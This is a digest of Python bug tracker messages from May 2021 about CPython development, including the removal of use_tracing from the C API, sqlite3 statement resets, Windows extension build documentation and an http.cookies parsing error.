https://bugs.python.org/file50032/fprintf.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 10:01:13 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 14:01:13 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620655273.5.0.60761255868.issue43350@roundup.psfhosted.org> Erlend E. Aasland added the comment: Complete fprintf log added, for reference. ---------- Added file: https://bugs.python.org/file50033/log.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 10:03:50 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 14:03:50 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620655430.87.0.0426290954829.issue43350@roundup.psfhosted.org> Erlend E. Aasland added the comment: Grep for SECONDRESET in log.txt to get the complete "API context". As far as I can see, there is no harm in removing the redundant reset statement. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 10:21:32 2021 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Mon, 10 May 2021 14:21:32 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be. In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620656492.51.0.915516732616.issue43760@roundup.psfhosted.org> Miro Hron?ok added the comment: scikit-learn: https://bugzilla.redhat.com/show_bug.cgi?id=1958976 gcc: sklearn/cluster/_k_means_fast.c In file included from /usr/lib64/python3.10/site-packages/numpy/core/include/numpy/ndarraytypes.h:1944, from /usr/lib64/python3.10/site-packages/numpy/core/include/numpy/ndarrayobject.h:12, from /usr/lib64/python3.10/site-packages/numpy/core/include/numpy/arrayobject.h:4, from sklearn/cluster/_k_means_fast.c:635: /usr/lib64/python3.10/site-packages/numpy/core/include/numpy/npy_1_7_deprecated_api.h:17:2: warning: #warning "Using deprecated NumPy API, disable it with " "#define NPY_NO_DEPRECATED_API NPY_1_7_API_VERSION" [-Wcpp] 17 | #warning "Using deprecated NumPy API, disable it with " \ | ^~~~~~~ sklearn/cluster/_k_means_fast.c: In function ?__Pyx_call_return_trace_func?: sklearn/cluster/_k_means_fast.c:1596:15: error: ?PyThreadState? {aka ?struct _ts?} has no member named ?use_tracing?; did you mean ?tracing?? 1596 | tstate->use_tracing = 0; | ^~~~~~~~~~~ | tracing sklearn/cluster/_k_means_fast.c:1602:15: error: ?PyThreadState? {aka ?struct _ts?} has no member named ?use_tracing?; did you mean ?tracing?? 1602 | tstate->use_tracing = 1; | ^~~~~~~~~~~ | tracing The usage comes from https://github.com/cython/cython/blob/master/Cython/Utility/Profile.c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 10:40:38 2021 From: report at bugs.python.org (Ma Lin) Date: Mon, 10 May 2021 14:40:38 +0000 Subject: [issue33376] [pysqlite] Duplicate rows can be returned after rolling back a transaction In-Reply-To: <1524874511.54.0.682650639539.issue33376@psf.upfronthosting.co.za> Message-ID: <1620657638.59.0.80524994758.issue33376@roundup.psfhosted.org> Ma Lin added the comment: Erlend, please take a look at this bug. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 10:43:12 2021 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 10 May 2021 14:43:12 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be. In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620657792.26.0.931968496682.issue43760@roundup.psfhosted.org> Petr Viktorin added the comment: PEP 0497 is rejected; the active one is PEP 387, which says "backwards incompatibility" means preexisting code ceases to comparatively function after a change. So, this does look like a backwards-incompatible change. Unfortunately, not all of the C API is documented, so unless it's explicitly marked private, people will use it :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 10:57:43 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 May 2021 14:57:43 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be. In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620658663.16.0.143564491246.issue43760@roundup.psfhosted.org> Mark Shannon added the comment: But what does "use it" mean? What does setting `tstate->use_tracing = 1` do? There is no documented behavior, so how do we know what assumptions people are making about what happens when they set some field to 1? As I said, we could keep the field and ignore it, but that seems worse. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 10:57:52 2021 From: report at bugs.python.org (William Pickard) Date: Mon, 10 May 2021 14:57:52 +0000 Subject: [issue43804] "Building C and C++ Extensions on Windows" docs are very out-of-date In-Reply-To: <1618138301.06.0.442096626289.issue43804@roundup.psfhosted.org> Message-ID: <1620658672.69.0.00884435196879.issue43804@roundup.psfhosted.org> William Pickard added the comment: I'm quite familiar with MSVC's command line and I'm quite confused on what you mean "the above commands are specific to 32-bit Python" "/LD" is available for both 32-bit and 64-bit compilations, it implies "/MT" to the compiler and "/DLL" to the linker. "/I" is available for both 32-bit and 64-bit compilations. Python's lib files are named exactly the same between 32-bit and 64-bit versions. The only thing platform specific in MSVC is the compiler. Visual Studio's C/C++ build tools ships with 4 variants of MSVC: 2 32-bit versions, 1 for targeting 32-bit and the other for targeting 64-bit (32-bit native, 32-bit cross compile to 64-bit) The same is true for the 64-bit versions (64-bit native and 64-bit cross compile to 32-bit) Internally, these are known as: x86, x86_x64, x64, x64_x86 ---------- nosy: +WildCard65 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 11:05:35 2021 From: report at bugs.python.org (Zachary Ware) Date: Mon, 10 May 2021 15:05:35 +0000 Subject: [issue43804] "Building C and C++ Extensions on Windows" docs are very out-of-date In-Reply-To: <1618138301.06.0.442096626289.issue43804@roundup.psfhosted.org> Message-ID: <1620659135.66.0.117216828917.issue43804@roundup.psfhosted.org> Zachary Ware added the comment: Since the removal of Rietveld from the tracker, it's not easy to review a patch as a patch file. Please open a PR instead. As I said on the first PR, and as William says above, I don't see any indication that your assertion that some commands are 32-bit only is true. Please provide some evidence for your claim. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 11:06:27 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 10 May 2021 15:06:27 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be. In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620659187.4.0.712701895506.issue43760@roundup.psfhosted.org> Raymond Hettinger added the comment: I don't think the PEP meant to restrict individual struct member such as this. For example, we were able to switch from byte code to word code without violating the intended rules. Consider asking Brett and Benjamin for clarification. I would think that if a new function were introduced to provide a reliable way to determine whether tracing was enabled, that would suffice for external packages to have a minimally disruptive migration path. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 11:15:19 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 10 May 2021 15:15:19 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620659719.93.0.150050031013.issue44076@roundup.psfhosted.org> Change by Steve Dower : ---------- nosy: -steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 11:25:36 2021 From: report at bugs.python.org (Zachary Ware) Date: Mon, 10 May 2021 15:25:36 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620660336.25.0.66156104657.issue44076@roundup.psfhosted.org> Zachary Ware added the comment: Given that 3.8 is in security-fix-only mode and that it's not clear that this is actually a Python bug, I'm closing the issue. If you can reproduce the issue in Python 3.9 with a short script, do please open a new issue (or reopen this one) with the reproducer and a description of what's going wrong. In the meantime, please see either the python-list at python.org mailing list or the Users category of discuss.python.org for community support for using Tkinter. ---------- components: +Tkinter nosy: +steve.dower resolution: -> not a bug stage: -> resolved status: open -> closed type: enhancement -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 11:28:27 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 10 May 2021 15:28:27 +0000 Subject: [issue43804] "Building C and C++ Extensions on Windows" docs are very out-of-date In-Reply-To: <1618138301.06.0.442096626289.issue43804@roundup.psfhosted.org> Message-ID: <1620660507.1.0.63794959032.issue43804@roundup.psfhosted.org> Steve Dower added the comment: I still don't think the patch goes anywhere near far enough to be useful. Most likely we should preface that section with a "we recommend using a third-party build backend for your package, such as ... and refer to packaging.python.org for up to date suggestions" and then the rest of the section shows literally the build steps to compile an extension module (so that build backend authors have a reference). We should *not* have a section on using setuptools, or if we do, it should consist entirely of a link to the latest setuptools documentation. Their interface is not tied to our release schedule, and could change at any time, invalidating our docs (which is a *good* thing, provided we haven't documented them). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 11:43:58 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 15:43:58 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be. In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620661438.18.0.44030531836.issue43760@roundup.psfhosted.org> STINNER Victor added the comment: I understand that some projects manually call the profile and/or trace functions, and temporarily set use_tracing 0 while calling these functions. Some projects restore use_tracing to the correct value (compute the efficient value), some projects simply set use_tracing to 1. I see 3 use cases: * disable tracing temporarily (set use_tracing to 0) * reenable tracing (compute use_tracing to the correct value) * check if tracing is used (get use_tracing) We can add 3 functions: * PyThreadState_DisableTracing() * PyThreadState_EnableTracing() * PyThreadState_GetTracing() PyThreadState_EnableTracing(tstate) would do something like: tstate->cframe->use_tracing = (tstate->c_tracefunc || tstate->c_profilefunc); If we added these functions, I can then add an implementation for Python 3.9 and older to my https://github.com/pythoncapi/pythoncapi_compat project for backward compatibility. The problem is that some projects also increase temporarily ts->tracing. Since I would like to make PyThreadState opaque, I would prefer to hide this access behind a function call as well. Maybe we need an API to call profile and/or trace functions? -- According to the bugzilla compiler errors: > greenlet: https://bugzilla.redhat.com/show_bug.cgi?id=1957784 It has already been fixed: * https://github.com/python-greenlet/greenlet/commit/6c5f0963eb00eeb1cfb337c6edbd3efaf7d8eacc * https://github.com/python-greenlet/greenlet/commit/352b974447bb489cb2778e07c3832d0cc60e0e4a It uses: * "tstate->use_tracing = 0;" * "tstate->use_tracing = (tstate->tracing <= 0 && (...)" > dipy: https://bugzilla.redhat.com/show_bug.cgi?id=1958203 It uses: * "tstate->use_tracing = 0;" * "tstate->use_tracing = 1;" * "tstate->use_tracing = (tstate->c_profilefunc || (...)" * "return tstate->use_tracing && retval;" * "if (tstate->use_tracing) {" > yappi: https://bugzilla.redhat.com/show_bug.cgi?id=1958896 * "ts->use_tracing = 1;" * "ts->use_tracing = 0;" > smartcols: https://bugzilla.redhat.com/show_bug.cgi?id=1958938 It uses "tstate->use_tracing = 0;". > scikit-learn: https://bugzilla.redhat.com/show_bug.cgi?id=1958976 It uses: * "tstate->use_tracing = 0;" * "tstate->use_tracing = 1;" > The usage comes from https://github.com/cython/cython/blob/master/Cython/Utility/Profile.c Simplified code: -------------- static int __Pyx_TraceSetupAndCall(...) { ... tstate->tracing++; tstate->use_tracing = 0; if (tstate->c_tracefunc) retval = tstate->c_tracefunc(tstate->c_traceobj, *frame, PyTrace_CALL, NULL) == 0; if (retval && tstate->c_profilefunc) retval = tstate->c_profilefunc(tstate->c_profileobj, *frame, PyTrace_CALL, NULL) == 0; tstate->use_tracing = (tstate->c_profilefunc || (CYTHON_TRACE && tstate->c_tracefunc)); tstate->tracing--; ... } int __Pyx_use_tracing = 0; #define __Pyx_TraceCall(funcname, srcfile, firstlineno, nogil, goto_error) \ if (nogil) { \ if (CYTHON_TRACE_NOGIL) { \ PyThreadState *tstate; \ PyGILState_STATE state = PyGILState_Ensure(); \ tstate = __Pyx_PyThreadState_Current; \ if (unlikely(tstate->use_tracing) && !tstate->tracing && \ (tstate->c_profilefunc || (CYTHON_TRACE && tstate->c_tracefunc))) { \ __Pyx_use_tracing = __Pyx_TraceSetupAndCall(&$frame_code_cname, &$frame_cname, tstate, funcname, srcfile, firstlineno); \ } \ PyGILState_Release(state); \ if (unlikely(__Pyx_use_tracing < 0)) goto_error; \ } \ } else { \ PyThreadState* tstate = PyThreadState_GET(); \ if (unlikely(tstate->use_tracing) && !tstate->tracing && \ (tstate->c_profilefunc || (CYTHON_TRACE && tstate->c_tracefunc))) { \ __Pyx_use_tracing = __Pyx_TraceSetupAndCall(&$frame_code_cname, &$frame_cname, tstate, funcname, srcfile, firstlineno); \ if (unlikely(__Pyx_use_tracing < 0)) goto_error; \ } \ } -------------- ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 11:44:12 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 15:44:12 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing) In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620661452.02.0.417198788845.issue43760@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: The DISPATCH() macro is not as efficient as it could be. -> The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing) versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 11:44:19 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 15:44:19 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing) In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620661459.65.0.0225480093361.issue43760@roundup.psfhosted.org> Change by STINNER Victor : ---------- components: +C API, Interpreter Core _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 11:47:37 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 15:47:37 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1620661657.37.0.780738659631.issue44092@roundup.psfhosted.org> Erlend E. Aasland added the comment: Quoting pysqlite commit 5a009ed message (https://github.com/ghaering/pysqlite/commit/5a009ed6fb2e90b952438f5786f93cd1e8ac8722): "Implemented a function that resets all statements in the connection's statement cache. After calling this function it is always possible to rollback a transaction or close a connection." The commit is from 2005-12-09. SQLite 3.7.11 wasn't released until 2012, so in 2005 any pending statements would block a rollback. I'm guessing commit 5a009ed addressed that issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 11:53:27 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 15:53:27 +0000 Subject: [issue43804] "Building C and C++ Extensions on Windows" docs are very out-of-date In-Reply-To: <1618138301.06.0.442096626289.issue43804@roundup.psfhosted.org> Message-ID: <1620662007.17.0.495683678111.issue43804@roundup.psfhosted.org> Shreyan Avigyan added the comment: Zachary: > As I said on the first PR, and as William says above, I don't see any indication that your assertion that some commands are 32-bit only is true. Please provide some evidence for your claim. cl.exe by default points to the 32-bit cl.exe not the 64-bit cl.exe. And also the library used by cl.exe by default is also 32-bit. Therefore there seems to be a linker issue. And I've tested that. It's true. Steve: > Most likely we should preface that section with a "we recommend using a third-party build backend for your package, such as ... and refer to packaging.python.org for up to date suggestions" and then the rest of the section shows literally the build steps to compile an extension module (so that build backend authors have a reference). We should *not* have a section on using setuptools, or if we do, it should consist entirely of a link to the latest setuptools documentation. Their interface is not tied to our release schedule, and could change at any time, invalidating our docs (which is a *good* thing, provided we haven't documented them). I'll remove the changes in Building C and C++ Extensions. I'll also make sure no changes are referencing setuptools. I'll be opening PR very soon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 12:04:01 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 10 May 2021 16:04:01 +0000 Subject: [issue44096] Bad clang detection in configure script In-Reply-To: <1620626308.35.0.845113393607.issue44096@roundup.psfhosted.org> Message-ID: <1620662641.23.0.03328383212.issue44096@roundup.psfhosted.org> Change by Ned Deily : ---------- assignee: -> ned.deily nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 12:03:52 2021 From: report at bugs.python.org (William Pickard) Date: Mon, 10 May 2021 16:03:52 +0000 Subject: [issue43804] "Building C and C++ Extensions on Windows" docs are very out-of-date In-Reply-To: <1618138301.06.0.442096626289.issue43804@roundup.psfhosted.org> Message-ID: <1620662632.71.0.0413651798793.issue43804@roundup.psfhosted.org> William Pickard added the comment: Then it appears you're using a version of the compiler that is built for building 32-bit exes/dlls, you need to use the x64 version. For this you need to start either the x86 Cross Tools console or the x64 native console (VS 2019) or use vcvarsall.cmd/Enter-VsDevShell (PowerShell) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 12:08:58 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 16:08:58 +0000 Subject: [issue43804] "Building C and C++ Extensions on Windows" docs are very out-of-date In-Reply-To: <1618138301.06.0.442096626289.issue43804@roundup.psfhosted.org> Message-ID: <1620662938.4.0.0971053312775.issue43804@roundup.psfhosted.org> Shreyan Avigyan added the comment: I'm aware of that. But anyway I'm removing it since there are ways to overcome it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 12:09:32 2021 From: report at bugs.python.org (William Pickard) Date: Mon, 10 May 2021 16:09:32 +0000 Subject: [issue43804] "Building C and C++ Extensions on Windows" docs are very out-of-date In-Reply-To: <1618138301.06.0.442096626289.issue43804@roundup.psfhosted.org> Message-ID: <1620662972.7.0.217749944064.issue43804@roundup.psfhosted.org> William Pickard added the comment: Correction: You can use either VsDevCmd.bat/Enter-VsDevShell on VS versions that provide them (2017 and 2019 are known to include it), but to get the x64 tools you need to pass command line arguments (They default to x86 native tools). Otherwise you must use either vcvarsall.cmd and pass the appropriate command line arguments or vcvarsx86_amd64.bat/vcvars64.bat ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 12:13:42 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 10 May 2021 16:13:42 +0000 Subject: [issue44103] Python 3.10 docs are visually broken Message-ID: <1620663222.03.0.0403361280148.issue44103@roundup.psfhosted.org> New submission from Jelle Zijlstra : In the 3.10 docs (but not 3.11 or 3.9) I see an extra copy of the table of contents at the top of the page. Attached a screenshot. ---------- assignee: docs at python components: Documentation files: Screen Shot 2021-05-10 at 9.11.51 AM.png messages: 393416 nosy: Jelle Zijlstra, docs at python, mdk priority: normal severity: normal status: open title: Python 3.10 docs are visually broken Added file: https://bugs.python.org/file50034/Screen Shot 2021-05-10 at 9.11.51 AM.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 12:21:47 2021 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 May 2021 16:21:47 +0000 Subject: [issue31604] unittest.TestLoader().loadTestsFromTestCase(...) fails when adding test cases with the expectedFailure decorator In-Reply-To: <1506500204.85.0.154975027568.issue31604@psf.upfronthosting.co.za> Message-ID: <1620663707.69.0.0980105636977.issue31604@roundup.psfhosted.org> Irit Katriel added the comment: I can't reproduce the issue on 3.10, I believe it was fixed by this: https://github.com/python/cpython/commit/c9b3ef2df06818f055e555c1d23e3ff2d5bf2d74 in particular: - def expectedFailure(func): - @functools.wraps(func) - def wrapper(*args, **kwargs): - try: - func(*args, **kwargs) - except Exception: - raise _ExpectedFailure(sys.exc_info()) - raise _UnexpectedSuccess - return wrapper + def expectedFailure(test_item): + test_item.__unittest_expecting_failure__ = True + return test_item 2.7 won't be fixed, so closing. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 12:23:25 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 10 May 2021 16:23:25 +0000 Subject: [issue44096] Bad clang detection in configure script In-Reply-To: <1620626308.35.0.845113393607.issue44096@roundup.psfhosted.org> Message-ID: <1620663805.4.0.234302130911.issue44096@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the report. Let?s hold off on writing a patch for now until I?ve had a chance to investigate the multiple issues here. That should be a few days after some imminent PyCon events. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 12:43:14 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 16:43:14 +0000 Subject: [issue43804] "Building C and C++ Extensions on Windows" docs are very out-of-date In-Reply-To: <1618138301.06.0.442096626289.issue43804@roundup.psfhosted.org> Message-ID: <1620664994.96.0.449485300183.issue43804@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- pull_requests: +24670 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26020 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 12:46:11 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 May 2021 16:46:11 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620665171.87.0.866826337993.issue40222@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +24671 pull_request: https://github.com/python/cpython/pull/26021 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 12:53:14 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 10 May 2021 16:53:14 +0000 Subject: [issue43743] BlockingIOError: [Errno 11] Resource temporarily unavailable: on GPFS. In-Reply-To: <1617697291.82.0.0904085621091.issue43743@roundup.psfhosted.org> Message-ID: <1620665594.97.0.255209779141.issue43743@roundup.psfhosted.org> Gregory P. Smith added the comment: The logic for bailing out to a slow copy is currently: https://github.com/python/cpython/blob/main/Lib/shutil.py#L158 that condition appears to not be happening in Alexei's test. Suggesting that either at least one sendfile call succeeded and thus offset is non-zero or the lseek failed. run that test under pdb and walk thru the code, or under strace to look at the syscalls and find out. The question seems to be is if it should be okay to _GiveUpOnFastCopy after a partial (incomplete) copy has already occurred via sendfile. ---------- nosy: +giampaolo.rodola _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 13:03:42 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 17:03:42 +0000 Subject: [issue44103] Python 3.10 docs are visually broken In-Reply-To: <1620663222.03.0.0403361280148.issue44103@roundup.psfhosted.org> Message-ID: <1620666222.17.0.461738151136.issue44103@roundup.psfhosted.org> Shreyan Avigyan added the comment: That's odd. What do you think is causing this? Python's 3.10 docs were fine even yesterday. Why is it suddenly broken? Can it be related to Sphinx version or some other bug? ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 13:15:24 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 10 May 2021 17:15:24 +0000 Subject: [issue44103] Python 3.10 docs are visually broken In-Reply-To: <1620663222.03.0.0403361280148.issue44103@roundup.psfhosted.org> Message-ID: <1620666924.15.0.277134242208.issue44103@roundup.psfhosted.org> Jelle Zijlstra added the comment: > Can it be related to Sphinx version That's a good guess since Sphinx 4 was released on May 8. I'm not sure if Python would immediately pick that up though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 13:30:08 2021 From: report at bugs.python.org (Zachary Ware) Date: Mon, 10 May 2021 17:30:08 +0000 Subject: [issue44103] Python 3.10 docs are visually broken In-Reply-To: <1620663222.03.0.0403361280148.issue44103@roundup.psfhosted.org> Message-ID: <1620667808.45.0.171258753727.issue44103@roundup.psfhosted.org> Zachary Ware added the comment: This is likely an artifact of the new version of the theme and browser caching issues; try a full reload (Ctrl + Shift + R in Firefox). See also https://github.com/python/python-docs-theme/issues/78; I'll close this as a duplicate of that issue. ---------- nosy: +zach.ware resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 13:31:30 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 10 May 2021 17:31:30 +0000 Subject: [issue44103] Python 3.10 docs are visually broken In-Reply-To: <1620663222.03.0.0403361280148.issue44103@roundup.psfhosted.org> Message-ID: <1620667890.92.0.438338719637.issue44103@roundup.psfhosted.org> Jelle Zijlstra added the comment: Thanks, hard refresh does fix it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 13:36:00 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 17:36:00 +0000 Subject: [issue44103] Python 3.10 docs are visually broken In-Reply-To: <1620663222.03.0.0403361280148.issue44103@roundup.psfhosted.org> Message-ID: <1620668160.94.0.110611871779.issue44103@roundup.psfhosted.org> Shreyan Avigyan added the comment: Yes, hard refresh fixes it. Thanks a lot. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 14:07:10 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 10 May 2021 18:07:10 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing) In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620670030.09.0.3185701073.issue43760@roundup.psfhosted.org> Raymond Hettinger added the comment: +1 for Victor's suggestions. It provides a reasonable way forward without locking in eval-loop implementation details that weren't intended to be public and frozen in time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 14:31:00 2021 From: report at bugs.python.org (ra1nb0w) Date: Mon, 10 May 2021 18:31:00 +0000 Subject: [issue44104] http.cookies.CookieError: Illegal key Message-ID: <1620671460.12.0.286608999298.issue44104@roundup.psfhosted.org> New submission from ra1nb0w : The issue arises when there are multiple web applications using the same hostname and a "bad" cookie is stored; the first one (ex. tvheadend) sets a cookie like 'ys-api/mpegts/service=blabla' and the second is a python one that crash with the following: May 10 18:56:37 hos openwebrx[4575]: Exception happened during processing of request from ('192.168.178.203', 56994) May 10 18:56:37 hos openwebrx[4575]: Traceback (most recent call last): May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3.7/socketserver.py", line 650, in process_request_thread May 10 18:56:37 hos openwebrx[4575]: self.finish_request(request, client_address) May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3.7/socketserver.py", line 360, in finish_request May 10 18:56:37 hos openwebrx[4575]: self.RequestHandlerClass(request, client_address, self) May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3/dist-packages/owrx/http.py", line 40, in __init__ May 10 18:56:37 hos openwebrx[4575]: super().__init__(request, client_address, server) May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3.7/socketserver.py", line 720, in __init__ May 10 18:56:37 hos openwebrx[4575]: self.handle() May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3.7/http/server.py", line 426, in handle May 10 18:56:37 hos openwebrx[4575]: self.handle_one_request() May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3.7/http/server.py", line 414, in handle_one_request May 10 18:56:37 hos openwebrx[4575]: method() May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3/dist-packages/owrx/http.py", line 46, in do_GET May 10 18:56:37 hos openwebrx[4575]: self.router.route(self, self._build_request("GET")) May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3/dist-packages/owrx/http.py", line 55, in _build_request May 10 18:56:37 hos openwebrx[4575]: return Request(self.path, method, self.headers) May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3/dist-packages/owrx/http.py", line 68, in __init__ May 10 18:56:37 hos openwebrx[4575]: self.cookies.load(headers["Cookie"]) May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3.7/http/cookies.py", line 529, in load May 10 18:56:37 hos openwebrx[4575]: self.__parse_string(rawdata) May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3.7/http/cookies.py", line 593, in __parse_string May 10 18:56:37 hos openwebrx[4575]: self.__set(key, rval, cval) May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3.7/http/cookies.py", line 485, in __set May 10 18:56:37 hos openwebrx[4575]: M.set(key, real_value, coded_value) May 10 18:56:37 hos openwebrx[4575]: File "/usr/lib/python3.7/http/cookies.py", line 352, in set May 10 18:56:37 hos openwebrx[4575]: raise CookieError('Illegal key %r' % (key,)) May 10 18:56:37 hos openwebrx[4575]: http.cookies.CookieError: Illegal key 'ys-api/mpegts/service' Is there a way to avoid this (just a warning) or the only solution is to filter the load(headers["Cookie"]) input? thank you ---------- messages: 393426 nosy: ra1nb0w priority: normal severity: normal status: open title: http.cookies.CookieError: Illegal key versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 14:34:45 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 10 May 2021 18:34:45 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620671685.01.0.0847002845191.issue44074@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24672 pull_request: https://github.com/python/cpython/pull/26022 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 14:34:49 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 10 May 2021 18:34:49 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: 